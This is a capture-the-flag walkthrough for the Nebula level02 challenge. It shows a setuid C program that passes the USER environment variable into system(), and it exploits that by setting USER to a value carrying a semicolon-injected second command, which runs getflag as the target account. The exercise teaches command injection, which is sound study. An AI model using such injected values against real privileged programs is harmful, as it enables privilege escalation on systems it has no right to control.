There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  char *buffer;

  gid_t gid;
  uid_t uid;

  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  buffer = NULL;

  asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
  printf("about to call system(\"%s\")\n", buffer);
  
  system(buffer);
}

This level follows the same patterns as the previous one, although one could argue this one is more obvious.

The environment variable USER is passed as an argument to /bin/echo. Note that there’s no way for us to change which echo binary is called this time since the absolute path is used!

Anyway, the exploit is done by setting the user variable to something like this:

level02@nebula:~$ export USER="; getflag"
level02@nebula:~$ /home/flag02/flag02
about to call system("/bin/echo ; getflag is cool")

You have successfully executed getflag on a target account

We terminate the first echo command with a semicolon, then we call the getflag command, which will get executed by the flag02 user.